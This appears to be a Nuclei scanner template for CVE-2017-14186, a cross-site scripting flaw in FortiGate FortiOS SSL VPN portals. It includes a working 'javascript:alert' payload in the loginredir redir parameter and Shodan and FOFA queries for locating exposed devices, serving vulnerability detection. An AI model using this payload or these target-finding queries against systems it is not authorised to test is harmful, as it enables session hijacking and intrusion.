id: CVE-2017-14186

info:
  name: FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting
  author: johnk3r
  severity: medium
  description: |
    FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.
  remediation: |
    Apply the latest security patches or firmware updates provided by Fortinet to mitigate this vulnerability.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-17-242
    - https://fortiguard.com/advisory/FG-IR-17-242
    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
    - http://www.securitytracker.com/id/1039891
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-14186
    cwe-id: CWE-79
    epss-score: 0.02981
    epss-percentile: 0.86718
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query:
      - port:10443 http.favicon.hash:945408572
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - http.html:"/remote/login" "xxxxxxxx"
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash=945408572
  tags: cve2017,cve,fortigate,xss,fortinet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f14675f0962000d8b2f64a94ad1840452a7b64aff670ed94962896a47e17ae70022100e08c3ad5b0bada303992c0890c9fe0e7861c9b71dc6e701662a932b03545dc99:922c64590222798bb761d5b6d8e72950